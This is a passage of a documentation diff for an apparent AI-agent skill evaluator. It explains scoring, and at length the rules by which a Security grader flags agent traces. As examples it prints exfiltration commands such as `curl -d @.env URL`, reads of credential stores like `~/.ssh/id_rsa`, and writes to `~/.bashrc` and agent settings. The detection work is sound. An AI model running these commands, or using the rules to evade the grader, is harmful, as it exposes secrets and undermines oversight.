`X-Data:\@.env`, or `X-Data:{@,}.env` counts, +and so does a `$VAR` or backtick word, which may hold one. A word with a +slash or backslash, such as `./HTTP`, `/usr/local/bin/HTTP`, or the prose +`HTTP/HTTPS`, and a word that ends in `.exe` in any case, such as `HTTP.exe` or +`http.EXE`, are read as a path or a Windows program name, which a host may find +in any case, so their method word still warns. A command word keeps the +case-insensitive match, so `HTTP POST URL` still warns. A word that a +pass-through wrapper runs, a printer pipes on, or a `$VAR` command word may +start keeps it too, so `strace -f HTTP POST URL`, `echo HTTP POST URL | sh`, +and `$RUN HTTP POST URL` still warn. Another command that runs a later word, +such as `find -exec`, does not keep it, so on a host that finds a command in +any case, such as macOS or Windows, `find . -exec HTTP POST URL \;` with no +body item does not warn; a method word alone sends no file or variable. + +Each here-document line is read as a command, and `|` and `;` start a new +command, so some prose with a capitalized `HTTP` word still warns: + +- a line that starts with `HTTP POST`, as in `HTTP POST creates an item.`; +- a method word followed by a `$VAR` or backtick word, such as an inline code + span, as in ``Use HTTP POST on `/api/items` to create an item.``, because + that word may hold a `name:@file` item; +- a Markdown table row with an `HTTP` word in any cell, as in + `| Create | Send an HTTP request |`, because `|` reads as a pipe, so the + cell's `HTTP` word gets piped input; +- `HTTP` and a method word right after a `;`, as in + `The HTTP POST method is not idempotent; HTTP PUT is.`, because `HTTP` is the + command word there. + +A fixed set of runners that start a command in another host, container, root, +user, or network namespace, such as `ssh`, `docker`, `docker-compose`, +`kubectl`, `apptainer`, `chroot`, `systemd-nspawn`, `bwrap`, or +`ip netns exec`, warns on any client named after it, even one named only as +data, as in `docker exec app apt-get install -y curl`. That holds when the +runner is the command itself, including after a compound keyword (`do`, +`then`, `{`, `(`, `!`), a function header, a `case` pattern, or `coproc`, also +when glued to it, as in `while true; do ssh host curl URL; done`, +`if(ssh host curl URL)`, `f(){ ssh host curl URL; }`, or +`case x in x)ssh host curl URL;; esac`, when it follows a pass-through wrapper +such as `strace`, `flock`, or `watch`, and when a function that wraps it is +called. A runner reached through another command, as in +`find . -exec ssh host curl URL \;` or +`git submodule foreach ssh host curl URL`, and a runner outside the set get +only the client's upload rules. + +Piped or redirected input stays with a text consumer such as `grep`, `awk`, +`sed`, or `jq`, so `env | grep -i http` is not an HTTPie upload, while +`cat .env | strace -f http URL`, `sudo < .env http URL`, +`while read -r l; do http URL; done < .env`, +`case "$1" in *) < .env http URL;; esac`, and `f() { http URL; }; f < .env` are. +A function that wraps a client, as in `up() { curl "$@"; }` or +`up(){ curl "$@"; }`, passes each call's arguments to that client's rules. A +`$VAR` command word with no known value, as in +`for c in curl wget; do $c --post-file=.env -q URL; done`, gets the curl and +wget upload rules when the action names curl or wget as a word, so +`$GREP -F https://example.com src/` does not. A client or runner named by any +command of a substitution, such as `$(which curl)`, `$(env which curl)`, +`$(cd /tmp && which curl)`, or `$(command -v ssh)`, or printed with its +arguments by `$(echo curl -d @.env URL)`, is checked the same way. When a +substitution names several, as in `$(command -v wget || command -v curl)`, the +command is checked once for each. + +The run's configured judge provider and model are stored under `judge` in +`run_config.json`, separately from the agent's provider and model. The same run +configuration is embedded in `result.json`, so a judged score can be traced to +the configuration that produced it. An allowed provider fallback may use a +different model for an individual call. + +This provenance does not establish that the LLM judgments are correct. The +[grader validation workflow](/skills/skillevaluator/grader-validation) runs the shipped verifier +against independently labelled cases and reports agreement, abstentions, +errors and repeat variability. The bundled reference suite is not a published +claim of inter-rater agreement or universal judge reliability. + +The **Quality Score** shown as a value out of 100 in the HTML report comes from +Tier 1 static analysis. It is separate from the Tier 3 evaluator scores, +dimensions, overall score, and Skill Lift. + +For standard grading, each arm's overall score is the equal-weight mean of the +dimensions that arm can be scored on. An N/A dimension is left out; it is not +counted as 0 or 1. Within Effectiveness, N/A source metrics are also left out, +and the dimension is N/A only when neither source metric can be scored: + +```text +overall = mean(scored(Security, Correctness, Discoverability, Effectiveness, Efficiency)) +Effectiveness = mean(scored(goal_accuracy, behavior_check)) +``` + +Effectiveness therefore enters the overall score once; its two source +evaluators do not receive an extra combined vote. The same aggregate drives +per-attempt pass@k, Skill Lift, comparison output, and best-agent selection. +Artifacts record this contract as +`score_policy: skill-evaluator-dimension-mean-v1`. Legacy metric sets and +historical partial reports retain their recorded scoring semantics instead of +being silently reinterpreted. + +The [Metrics Reference](/skills/skillevaluator/metrics-reference) works through each +sub-check behind the six evaluator scores, the arithmetic above them, and a +worked example you can check against one trial's `reward.json`. + +## Which dimensions apply to each arm + +Security is scored for every arm. Correctness uses `accuracy`, which is N/A +when `ground_truth` is missing. Effectiveness uses `goal_accuracy` +(`ground_truth`) and `behavior_check` (`expected_behavior`); each missing +reference makes its metric N/A. The dimension is N/A only if both metrics are +N/A. + +| Arm | Security | Correctness | Discoverability | Effectiveness | Efficiency | +| --- | --- | --- | --- | --- | --- | +| With skill, `should_trigger=true` | Scored | Scored with `ground_truth`; otherwise N/A | Scored when `expected_skill` names a skill; otherwise N/A | Scored for each present reference; N/A if both are missing | Scored when `expected_skill` names a skill; otherwise N/A | +| With skill, `should_trigger=false` (negative case) | Scored | Scored with `ground_truth`; otherwise N/A | Scored: `skill_execution` evaluates the negative case | Scored for each present reference; N/A if both are missing | N/A: a negative case has no skill use to measure | +| Without skill and no applicable alternate staged | Scored | Scored with `ground_truth`; otherwise N/A | N/A: no skill under test to discover or run | Scored for each present reference; N/A if both are missing | N/A: no skill under test to route to | +| Without skill, with an acceptable alternate staged | Scored | Scored with `ground_truth`; otherwise N/A | Scored when the staged skill matches a case candidate and the case is negative or names an `expected_skill`; otherwise N/A | Scored for each present reference; N/A if both are missing | Scored for positive cases that name an `expected_skill` and whose staged skill matches a case candidate; otherwise N/A | + +For a positive case, an alternate candidate is the expected skill or an +acceptable alternate. For a negative case, the candidate is the evaluated +skill, or the expected skill when no evaluated skill is recorded. In either +case, the staged name must match a candidate for the no-skill arm's skill +metrics to apply. The eval-case rules still apply after matching: a negative +case always leaves Efficiency N/A, and a positive case without `expected_skill` +leaves both skill metrics N/A. A case with neither `expected_skill` nor a +resolved `should_trigger` label also leaves both skill metrics N/A. + +Skill Lift per dimension and overall uses only cases and metrics both arms +scored; the `basis` block in `lift.json` records the shared comparison ([Skill +Lift reporting](/skills/skillevaluator/reports#skill-lift)). A baseline is never credited or +penalized for a skill it was not given. + +The Security trace check excludes plain `rm -rf` commands whose operands are +recognized regenerable caches, such as `.pytest_cache`, `__pycache__`, or +`~/.cache/uv`. Absolute cache paths are recognized only under `/workspace/` and +`/app/`. This narrow scoring exception does not authorize filesystem +access. Mixed targets, dynamic shell expressions, compound commands and +unsupported forms retain the existing destructive-command classification. + +A destructive-command finding scores the Security dimension `0.0`. Other +recursive `rm` commands outside `/tmp`, and `xargs rm` with a recursive or +force option, receive this finding. A force-only `rm -f` or `rm --force` +without `-r` or `--recursive` receives it only when a target resolves under +`/bin`, `/boot`, `/etc`, `/home`, `/lib*`, `/root`, `/sbin`, `/usr`, `/var` +(except `/var/tmp`), `~`, or `$HOME`. Brace lists such as `/{etc,usr}/hosts` +and dot globs such as `/tmp/.*/etc/hosts` are expanded first. For +`find ... -exec rm -f {} +`, and `-execdir`, `-ok` or `-okdir`, find's start +paths are the targets when the `rm` target can be a found file: `{}`, a +variable such as `"$1"`, or a relative path. An absolute target such as +`/tmp/lock` is checked on its own. A relative target resolves against the +directory the shell is in when the `rm` runs. That starts at the tool call's +`workdir` or `cwd` argument, or else where the previous call left the shell, +at first `/workspace`; the grader cannot see a container's own `WORKDIR`. +Each `cd`, `pushd` or `popd` that runs before the `rm` then moves it, in +order, so `cd /etc && rm -f hosts` receives the finding. A later `cd` +replaces an earlier one, a `( ... )` subshell's `cd` ends with the subshell, +and `cd` in quoted text, another command's arguments or a heredoc body leaves +it alone, so `cd /etc && cat hosts; cd /workspace && rm -f out.txt`, +`(cd /etc && ls); rm -f out.txt` and `echo 'run: cd /etc'; rm -f out.txt` +do not receive it. An `rm` inside `$( ... )`, backticks or a heredoc body is +checked against every directory the surrounding command line visits, and in +text the grader cannot split into shell words, every `cd` before the `rm` +counts, in order. An absolute target under a protected root receives the +finding even when that is the task's project directory, such as +`/usr/src/app/out.txt`. Resolution work is capped per trace: after one tool +call moves the shell through more than 32 distinct directories, relative +targets stay unresolved for the rest of the trace, and once the work budget +is spent, every force-only target counts as protected. Both receive the +finding. + +A sensitive-path finding also scores the Security dimension `0.0`. An agent +command, or a read or write tool path, that names a credential store is a +`sensitive_path_access`: `/etc/shadow`, `~/.ssh`, `/root/.ssh`, +`.aws/credentials`, `.config/gcloud`, `~/.aws/config`, `~/.azure`, +`~/.kube/config`, `~/.docker/config.json`, `~/.netrc`, `~/.git-credentials`, +`~/.config/gh/hosts.yml`, `~/.pypirc`, `~/.npmrc`, the Docker socket, the +Kubernetes service account secrets, or a cloud metadata endpoint. Naming the +store is enough, so `kubectl --kubeconfig ~/.kube/config get pods` receives +the finding. + +A path matches however it names the home directory: `~`, `$HOME`, `${HOME}`, +`~user`, `/home/`, `/Users/` (not `/Users/Shared`), `/root`, or +`C:\Users\`. `//`, `/./`, and `dir/..` segments are resolved first, so +`cat /home/agent//.ssh/id_rsa` and `cat $HOME/.ssh/id_rsa` match `~/.ssh`. The +spelling must start a path word. The default word of a `${VAR:-word}` or +`${VAR-word}` that starts a path word starts one too, so +`cat "${SSH_KEY:-$HOME/.ssh/id_rsa}"` matches `~/.ssh`, while +`cat backup-$HOME/.netrc` and `cat backup-${X:-$HOME/.netrc}` do not match +`~/.netrc`. The expansion is not resolved, so the whole path must lie inside +the default word: `ls "${XDG_CONFIG_HOME:-$HOME/.config}/gcloud"`, whose path +goes on after the closing brace, does not match `.config/gcloud`. A +project file that only shares a name with a home file, such as +`/home/agent/project/.bashrc` or `./project/.npmrc`, does not match. +`.aws/credentials` and `.config/gcloud` match in any directory in commands +and in Read, Write, and Edit paths, but an `apply_patch` header such as +`project/.aws/credentials` is a workspace file. `~/.azure` and +`~/.config/opencode` match the directory and paths inside it, also when `:` +or `,` follows the name, as in `docker run -v ~/.azure:/root/.azure`, but not +a longer name such as `~/.azure_notes.md`. Other entries also match a longer +name, such as `~/.netrc.bak`. + +A write to a protected file is a `sensitive_file_write`. The protected files +are the shell startup files `~/.bashrc`, `~/.bash_profile`, `~/.zshrc`, +`~/.zprofile`, `~/.profile`, `~/.config/fish/config.fish`, `/etc/profile`, and +`/etc/profile.d`; `/etc/sudoers` and `/etc/sudoers.d`; +`~/.ssh/authorized_keys`; `~/.gitconfig`; and the agents' own settings +`~/.claude/settings.json`, `~/.claude.json`, `~/.codex/config.toml`, and +`~/.config/opencode`. A Write or Edit tool path that names one is a write, and +so is an `apply_patch` file header. The `view` command of a text editor tool +(`str_replace_editor` or `str_replace_based_edit_tool`) reads its file, so it +is checked like a Read: a view of `/root/.bashrc` is not a write, and a view +of `~/.netrc` is still a `sensitive_path_access`. When the directory an +`apply_patch` runs in cannot be resolved, as after `cd "$REPO"`, a relative +header such as `.bashrc` or `.aws/credentials` may still name a home file, but +`.npmrc`, `.gitconfig`, `.claude/settings.json`, and the other files added to +these lists with the home spellings count only from a known directory, +because projects often have them too. A shell command is a write in either +of two cases: + +- It names `~/.bashrc`, `~/.zshrc`, `~/.profile`, `/root/.bashrc`, + `/root/.zshrc`, `/etc/profile`, `/etc/profile.d`, `/etc/sudoers`, or + `/etc/sudoers.d` in that spelling and has an output redirection, `tee`, or + `sed -i` anywhere. This is the earlier rule, so + `cat ~/.bashrc 2>/dev/null` still receives the finding. A name counts only + where a path starts and not as the file a `source` or `.` command reads, so + `source ~/.bashrc; npm test 2>&1 | tail -20` and + `source /opt/conda/etc/profile.d/conda.sh && python train.py 2>&1` do not. +- A protected file, in any home spelling, is the target of an output + redirection (`>`, `>>`, `>|`, `&>`, `2>`), an operand of `tee`, or a file + operand of a `sed` with `-i` or `--in-place`. The first `sed` operand is its + script and does not count, unless `-e`, `-f`, `--expression`, or `--file` + gives the script; then every operand counts. `sed` options are read in + their own case, so `-E` is not `-e`, and text attached to `-i`, as in + `-ie`, is the backup suffix. An argv-list command is read as the shell + command it runs, and each of its elements also on its own, so the script in + `["bash", "-lc", "sed -i 's/a/b/' /home/agent/.bashrc"]` counts as written. + So `echo x >> $HOME/.bashrc`, + `echo x | sudo tee -a /home/agent/.bashrc`, and `echo '{}' > ~/.claude.json` + receive the finding, while `cat ~/.gitconfig 2>/dev/null`, + `cat $HOME/.zshrc > /tmp/zshrc.bak`, + `sed -i -E 's#~/.claude/settings.json#.claude/settings.json#' README.md`, and + `source ~/.bashrc && cp dist/app.js "$OUT_DIR/"` do not. A `tee` or `sed` + argument list ends at the end of its line or at a `#` comment, so + `make test | tee build.log # env comes from ~/.zprofile` does not either. + +The second case reads the command text as written, as the earlier rule does. +A redirection, `tee`, or `sed` inside a quoted string counts, and its target +ends with that string: `sudo sh -c "echo x >> /home/agent/.profile"` receives +the finding, and `echo "Step 1 -> check"; cat "$HOME/.zshrc"` does not. The +commands after the string are still read, so +`echo "Step 1 -> check"; echo x >> "$HOME/.zprofile"` receives the finding. A +double quote escaped with a backslash does not end the string, so +`bash -c "echo x >> \"$HOME/.zprofile\""` receives the finding too. Quoted +strings are found as the shell finds them: an escaped quote, as in +`echo It\'s done`, starts none; a `#` comment ends at its line break, even +after a backslash, and quotes in it pair only within that line; and a quoted +string in a here-document body may span lines but never runs past the body. +A target in a comment or a body line ends with that line. So the apostrophe +in `# Show what's in the profile` does not change how the commands after it +are read. As the text is read as written, +text that only holds a write to a protected file receives the finding, as it +does for `~/.bashrc` under the earlier rule: printed text such as +`echo "run: echo x >> $HOME/.bashrc"` or +`echo "Copying settings -> ~/.claude/settings.json"`, a here-document body, an +`apply_patch` body line, a commit message, a redirection to a longer name such +as `~/.gitconfig.bak`, a `tee` or `sed` word that is another command's +argument, as in `grep -n tee ~/.zprofile`, and a comment that holds a write, +as in `ls # then run: echo x >> ~/.zprofile`. + +Other writes, such as `cp /tmp/x /home/agent/.bashrc` without a redirection +or interpreter code that opens the file, do not receive the finding. + +Security findings keep credentials out of their `evidence`, which is saved in +the verifier's `skill_evaluator_reward.json`, the collected results, and the +reports. A sensitive-path or sensitive-file-write finding records only the +protected entry it matched, such as `~/.bashrc` or `/root/.ssh`, never the +command or tool input. When the text holds more than one entry, the longest +wins, so a write to `/etc/profile.d/npm.sh` records `/etc/profile.d`, not +`/etc/profile`. A path found through a home spelling, such as +`/home/agent/.ssh/id_rsa` or `$HOME/.ssh`, records the `~/.ssh` entry, so the +evidence holds no user name or home directory. The without-skill baseline +comparison therefore matches these findings by entry: a with-skill write to +`~/.bashrc` is attributed to the baseline prompt or environment when the +baseline run also wrote to `~/.bashrc`, whatever each command wrote there. + +Destructive-command, network, prompt-injection, and refusal findings keep their +command, prompt, or response text with credentials masked. The masking is a +best effort over these forms. Public findings, private-plugin findings, and +saved judge evidence use the same credential masker: + +- private key blocks, and the key shapes that log redaction masks, such as + `sk-`, `nvapi-`, `AKIA`, GitHub tokens, and JWTs; +- URL user info, as in `https://user:token@host`, also when the password holds an + `@` (`https://user:p@ss@host`): the user info runs to the last `@` before the + host; +- `Authorization` header values (the `Bearer`, `Basic`, `Token`, or `Digest` + word stays, and any other scheme, such as `ApiKey` or `SSWS`, is masked with + its value), API-key and token headers such as `X-API-Key`, and `Cookie` + header values. A quoted header value is masked to its closing quote; an + unquoted one, as in `curl -H Authorization:$TOKEN -d @.env URL`, is masked to + the end of its word, so the rest of the command stays readable; +- the values of long flags whose name holds a credential word, such as + `--password`, `--token`, `--client-secret`, `--db-password`, or `--cookie`, + also with `_` between the words (`--db_password`, `--api_key`), and a + `curl -b name=value` cookie. A `_` flag joined to its value with `=`, or + followed by a separator (`--api_key = ...`), is read as an assignment, and + an unquoted value after a `_` flag and a space ends at `;`, `|`, or `&`. + A `_` flag value that holds a credential name whose value runs past it, as + in `--set_secret API_TOKEN="..."`, or is already masked + (`--set_secret API_TOKEN=`) or in escaped single quotes + (`--api_key API_KEY=\'...\'` in a Python string), is read as an assignment + too, so masking such a value again keeps it as it is; any other `_` flag + value, as in `--set_secret SLACK_TOKEN_URL=...`, is masked whole. Inside a + single-quoted `sh -c` or `ssh` command string, a value quoted with the + `'"'"'` or `'\''` idiom runs to the next such idiom + (`ssh host './deploy --password '"'"'two words'"'"''`). A + flag that takes a file or nothing, such as `--password-stdin`, + `--token-file`, or `--cookie-jar`, and token-count flags `--max-tokens` and + `--token-limit` (or `--max_tokens`), keep the word after them. A + `-b cookies.txt` cookie jar keeps its path too. A shell operator after a + flag is no value (`gh auth login --with-token < token.txt`). A flag that + takes no value masks the next word as its value; when that word starts a + command whose password is masked below, as in + `--use-token mysql -u root -p...`, that password is masked too, and so is + an attached `-p...` element after a `mysql` or `login` element such a flag + takes in an argv list. So is a `docker login` or `mysql` password after a + credential flag value that holds a `-p` or `;` + (`--use-token docker login --token "x -p y" -p ...`), and the value after + a config set key and ` = ` + (`--use-token npm config set _auth = token="..."`). A `docker login`, + `.netrc`, or `/usr/bin/mysql` + password after a `\n` inside a flag value or right after the value is + masked too, and so is a `docker login` password after a `\n` right after an + argv list whose last element is masked + (`["wrap", "--password", "..."]\ndocker login -p ...`); the plain `mysql`, + `sshpass`, and `aws configure set` rules below do not match after a `\n` + escape. The rest of a `.netrc` password that holds a flag + value is masked as well, and so is a quoted `-u` value whose only colon a + flag value inside it holds (`-u "bob --api_key \"x a:..."`). A name, + command, or `.netrc` phrase that such a password runs into is masked as + its own rule masks it (`--use-token mysql -u root -p...password: ...`). A + flag inside the quoted value of an earlier `_` flag is read too, and the + rest of its value past that quote is masked, as is a name or command that + rest runs into; a flag inside the value of a `-` flag is not read. The + argv rule below also reads list elements as they were before flag values + were masked, so a masked value that cuts an element + (`--set_secret "auth_type=x ["mysql", "-p..."]`) does not hide the + credential after it. When text an earlier rule masked, such as a flag value + that runs over the JSON-escaped line break or quote at which the value of + an earlier name ended, lies inside that value before a later credential + name, the rest of the later name's own value is masked too, as it is when + that name is read on its own + (`\"password: ... --api_key ...\\nb passwd = ...` in a tool call's JSON + arguments repeated as JSON, where that value runs to the end of the outer + string). A credential name at the start of a line after a JSON-escaped line + break that an unquoted assignment value ran over is read on its own too + (`API_TOKEN=a\nauth=("bob", "...")`); +- a `-u`, `-U`, `--user`, or `--proxy-user` value that holds a colon, such as + `user:password` or an API key with an empty password (`KEY:`), also attached + (`-uuser:password`) or at the end of a flag group (`curl -su user:password`); + `python -u`, `pip --user`, a URL such as `pip install -U git+https://...`, + a remote path such as `rsync -u host:/data`, and a date format such as + `date -u +%H:%M:%S` are left alone; +- `-p` after a login subcommand (`docker login -u bot -p ...`, also attached as + `-p...`) or `sshpass`, and attached to a MySQL client run by name or from a + `bin` directory (`mysql -p...`, also quoted, as with the `'"'"'` idiom); + `mkdir -p`, `ssh -p 2222`, + `git log --author=login -p`, and `find /var/lib/mysql -path ...` are left + alone; +- the same flags as elements of an argument list, as in + `subprocess.run(["tool", "--password", "..."])`: the element after a + credential flag, after `-u`, `--user`, or `--proxy-user` when it holds a + colon, after `-b` when it holds `=`, and after `-p` that follows a `login` + element or comes right after an `sshpass` element, and an attached `-p...` + element after a `login` or MySQL client element, also when each element is + on its own line; +- credentials set with `aws configure set`, `npm config set` (or `npm set`), + `pnpm config set`, `yarn config set`, or `git config`, also after options + such as `--location=global` or a `--` that ends them, and with a quoted key, + also when its quotes are JSON-escaped, as in saved tool-call arguments + (`_authToken`, `npmAuthToken`, `"github.token"`); `git config --get` and + `--unset` take no value. An unquoted value after a quoted key or one after + `--` ends at `;`, `|`, or `&`, and such a key's value that holds a + credential name whose value runs past it or is already masked is read as + an assignment. The command may follow a `\n`, `\r`, or `\t` escape + (`db\nnpm config set ...`). Inside a quoted string, the value after a key + and a separator word (`npm config set _auth = ...`) runs to the closing + quote, a shell operator, or an escaped quote, so a command after it stays + readable. A `.netrc` `password` value is masked too, also when the + entry spans lines in a here-document or a `printf` string; +- values assigned to a credential name, such as `_authToken=...`, + `aws_secret_access_key = ...`, `"password": "..."`, `token := "..."`, + `os.environ["API_KEY"] = "..."`, `auth=HTTPBasicAuth("bob", "...")` (also + with its arguments on several lines, or with a `(` or `)` inside a quoted + argument, as also in `auth=("bob", "...")`), `PASS=...`, `DB_PASS=...`, or + `MYSQLPWD=...`, also JSON-escaped inside a shell string, in escaped single + quotes as in Python source (`'DB_PASSWORD=\'two words\''`), quoted with the + `'"'"'` or `'\''` idiom inside a single-quoted command string, and in a + `sed` replacement with `/` as its delimiter, such as + `sed -i 's/CHANGEME/password=.../'`, also inside a `sh -c` or `ssh` command + string. A word with parentheses in it, such as + `password: Pa(ss),word`, is masked whole. A bare `PASS` is + left alone as test output or a counter, such as `PASS: 3`, + `--- PASS: TestName`, `PASS=0`, or `"pass": true`, but OpenSSL's `pass:...` + and a quoted `"pass"` key or value are masked. Inside a quoted string, + wherever the name sits in it, the value runs to the closing quote, a `\n` + escape, or the `&` before the next field of a form body, so the values in + `echo ' password: correct horse battery staple'`, + `curl -d "username=bob&password=..."`, and + `curl -d'username=bob&password=...'` are masked whole. Inside a `sh -c` or + `eval` string, a remote `ssh` command, or a `node`, `perl`, or `ruby` `-e` + program, a value is one word, so the command after it stays readable. A + name that ends in `_URL`, `_DIR`, `_PATH`, `_FILE`, or a similar location + word keeps its value unless it also names a secret or password, as do + `token_type` and a count such as `max_tokens=100`. `grep "token=" ...` + keeps the rest of the command, because that quote closes the pattern; +- `ghp_`-style, `github_pat_`, `glpat-`, `npm_`, `xox*-`, and `hf_` tokens. An + identifier such as `hf_hub_download` or `npm_config_registry` is left alone. + +Escaped quotes inside double-quoted values are consumed with the value. Shell +backslash-newline continuations are joined before masking; ordinary newlines +are preserved. + +A credential in another form can still appear, such as free prose (`my password +is ...` or `use token ...`), a `.pgpass` line, a standalone `pypi-` token, URL +query parameters named only `key`, `sig`, or `signature`, a `redis-cli -a` or +`unzip -P` password, a +password after an unknown flag or in a here-string (`--password-stdin <<< +...`), a `pip config set` value, a `sed` replacement that names no +credential (`s/PASSWORD/.../`) or uses another delimiter inside a `sh -c` or +`ssh` command string (`s#token: .*#token: ...#`), a `mysql` password after a +`;` inside a flag value that names no credential, an `auth=` call whose +arguments are quoted with nested `'"'"'` idioms, a tuple or call value on the +line after a `\n` escape that a flag or config value runs over +(`--password K1\nauth=("bob", "...")`), an unquoted `PASS: value`, an +`npm config set` option with a separate value (`--location global`), or all +but the first word of a value with spaces on an unquoted here-document line +or inside a `sh -c` or `ssh` command string. Escaped text is read with at most two levels of +escapes removed, so a value can also appear in text escaped more than three +times, in a single-quoted value whose quotes are escaped three times, in text +that holds a NUL character (which is not read again), in JSON inside a Python +`repr` (where `\\"` is an escaped quote), after an escaped quote inside a quoted +Python argv value, in the arguments of a call value whose single quotes are +escaped inside a single-quoted Python string +(`'auth=HTTPBasicAuth(\'bob\', \'...\')'`), and where text escaped once keeps +part of a value (`"password: \"two words\""` at the start of a JSON string, +or a call value split over lines in JSON text). +Some ordinary words are masked, such as the path in `grep -r token: /etc`, the +value of a flag that names a token other than `--max-tokens` and `--token-limit` +(`--max-new-tokens 256` or `--tokenizer_name gpt2`), the words after a +`.netrc`-like `login NAME password` phrase in prose, after an unmatched +quote, the rest of the line after a credential name, and in a JSON string, +the rest of the string after a credential name that starts a `sed` +expression. Where the text that a reading with escapes removed keeps around +its masked values fits that reading in more than one place, everything +between those places is masked (the second `-p` in `--token "x -p y" -p ...` +in a tool call escaped twice). As escapes are also +decoded in text that was never escaped, an escape that leaves a quote +unmatched there can mask the rest of its line after a later credential +assignment such as `export GITHUB_TOKEN=$(...)`: a `\n`, `\r` or `\u000a` +inside a single- or double-quoted string (`printf '%s\n'`, `echo "a\nb"`, +`cd "C:\repo\x"`), or an odd number of `\"` in a double-quoted string +(`echo "it\"s"`). That can hide the rest of a command that a destructive or +network finding is about. Quotes are read from the start of each line, and +unlike in a shell, a line break ends a quoted string here, so a quoted value +ends at its closing quote or at the end of its line. +For security findings, only the first 2,000 characters are scanned. Judge +evidence retains the separate judge evidence budgets described above. +A word that the security-finding scan limit cuts in +half is replaced with ``, keeping a URL's scheme and host. The +evidence is then cut to 500 characters, or 300 for prompt and response text. + +`token_efficiency` is a standalone report signal, not a dimension source. It +never changes a dimension score or the overall verdict. + +The report's **Measured Agent Resources** table separately compares prompt plus +completion tokens and Harbor's measured agent execution seconds. Cache tokens +are included in prompt totals, not subtracted or counted again. Time excludes +environment setup, agent installation, and evaluator judging. Delta means +with-skill total minus baseline total: negative values indicate less observed +use. A delta requires complete telemetry, complete execution evidence, and matching +case counts including repeated attempts. Missing measurements, skipped baselines, +partial runs, and unsupported multi-step timing remain `N/A`; they are not zero. +The same table splits each trial's trajectory time into LLM seconds and tool +seconds, from native ATIF timing or inferred from step timestamps and Codex +tool wall times, and says which source each arm used. See +[Reports & Results](/skills/skillevaluator/reports) for the timing rules. +These observations include failed task outcomes. Lower use alone does not +establish improved task quality or Efficiency: a failed task can use fewer +resources. Pairing does not certify equal concurrency or budget, or actual +judge-model agreement. Reused baseline measurements remain historical rather +than fresh or independent evidence. These diagnostics do not change the graded +Efficiency score or establish a cost claim. + +Each dimension receives a score and a diagnostic band: **PASS** at 0.50 or +above, **NEUTRAL** from 0.40 to below 0.50, and **FAIL** below 0.40. A supported +agent passes only when every dimension passes. The top-level Tier 3 verdict is: + +| Verdict | Condition | +| --- | --- | +| Pass | At least one successful agent has every dimension ≥ 0.50 | +| Neutral | No agent passes, but at least one has no dimension below 0.40 | +| Fail | Every successful agent has a dimension below 0.40 | + +A dimension with no score, such as Correctness when no case defines +`ground_truth`, keeps that agent from passing. It does not hide another +dimension below 0.40: that agent still counts as Fail, unless its skill never +activated. A never-activated agent stays INCONCLUSIVE (see +[What a live eval measures](/skills/skillevaluator/tier3-results#what-a-live-eval-measures)). + +Skill Lift compares Overall on the metrics and cases both arms scored, so it can differ from the displayed with-skill Overall minus baseline Overall when the baseline has N/A dimensions. Judge-model exclusions can make it differ from subtracting the displayed arm means; when no complete comparison with matching judges remains, lift is unavailable. It uses the same score units as the two arms; +because it is a difference, it ranges +from -1.0 to +1.0. Its independent band is **PASS** at +0.05 or above, +**NEUTRAL** between -0.10 and +0.05, and **FAIL** at -0.10 or below. Lift is +diagnostic evidence and does not override the every-dimension gate. + +With multiple attempts, pass@k shows whether at least one attempt per case met +`--pass-threshold` — reliability context alongside Skill Lift, not a +replacement for the dimensions. In `custom_only` mode, pass@k uses the custom +overall reward; the dimension rows stay visible but read **NO SCORE**, and +custom metrics are never re-labeled as standard dimensions. + +Missing metrics are never coerced to `0.0`: an unscored run reports an +`overall_score` of `None`, averages omit unscored metrics, and the affected +cells render **NO SCORE**. `compare` likewise ignores stored summaries whose +`execution_status` is not `succeeded`. + +The verdict table above applies only when the run succeeds. When one of several +agents fails, the run's `execution_status` is `failed`, its `overall_score` is +`None` and its `verdict` is `neutral`, even if another agent completed. The +same holds when every agent finished but they were scored on different metric +sets. If one of several agents fails and the run's best agent completed with +full evidence, the HTML report and `tier3-benchmark.md` still show that agent's +score and mark it as needing attention; see +[Completed agents in an incomplete run](/skills/skillevaluator/reports#completed-agents-in-an-incomplete-run). + +The canonical Tier 3 payload embedded by both standalone `evaluate` and +`validate --agent-eval` reports uses schema version 2.0. A completed +standard-grading payload includes the summary, five dimensions, per-agent +results, trials, pass@k, attempt policy, run-owned dataset summary and digest, +evaluation timestamp, evaluator version, score policy, and verdict policy; advisory or +skipped payloads may leave live-evidence sections empty. + +Generated `BENCHMARK.md` cards put the verdict first, label each result column +as `Baseline → Skill Uplift`, show all three tier states, and keep methodology +collapsible. See the [rollout and backfill runbook](/skills/skillevaluator/benchmark-rollout) before +regenerating already-published cards. + +[Reports & Results](/skills/skillevaluator/reports) covers the full on-disk layout, the +machine-readable JSON contract, and how to judge whether a given lift is good. diff --git a/docs/tier3-run-options.mdx b/docs/tier3-run-options.mdx new file mode 100644 index 000000000..b91fcaeab --- /dev/null +++ b/docs/tier3-run-options.mdx @@ -0,0 +1,603 @@ +--- +title: "Prepare and Tune a Live Evaluation" +description: "Review your dataset, control run size and cost, and compare repeatable evaluations." +--- + +For your first comparison, start with [Run a live evaluation](/skills/skillevaluator/tier3-live-evaluation). + +## Prepare and review a fuller evaluation + +Use this workflow when you want to review tasks before running an agent. +`tier3 evaluate` runs the accepted source; it generates a missing dataset only +with `--autopilot`. The shorter `tier3 PATH` workflow generates a starter +automatically when no source exists. + + + +### Check readiness + +```bash title="Verify the runtime before spending compute" +skillevaluator doctor --env-mode docker +``` + +`doctor` takes seconds and names anything missing: the evaluator provider, +the selected backend's prerequisites, and unsupported agent names. Add +`--verify-models` to live-probe each agent's model against the provider's +catalog — one pass, warn, or fail row per agent — and `--agent-model AGENT=MODEL` +to check an override before committing to a run. Warnings identify catalog +results that do not authoritatively prove inference access. If you need proof +before the measured matrix, `--agent-runtime-preflight` adds an agent-only +execution of the first staged task. It does not invoke a separate +standard-grader-only route before the evaluation reaches grading. +`skillevaluator health-check` is the quicker +CLI-and-backend variant; [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes) covers +both in depth. + +### Generate an eval dataset + +Write task requests and observable outcomes in `eval-guidance.md` first; headings +alone do not qualify. If you already ran autopilot, add `--force` to replace its +starter, or `--refine --from-results ./saved-run` to refine from matching retained +results. Auto leaves existing datasets unchanged without either overwrite flag. +See [Grounding sources](/skills/skillevaluator/eval-datasets#choose-a-grounding-source). + +```bash title="Write the four-bucket dataset to evals/evals.json" +skillevaluator create-eval-dataset ./my-skill --full --prompt eval-guidance.md +``` + +`--full` with an LLM provider generates all four buckets (explicit, implicit, +contextual, and negative). With `--no-llm`, template mode emits the three +positive buckets and adds a negative case only when `evals/EVAL.md` 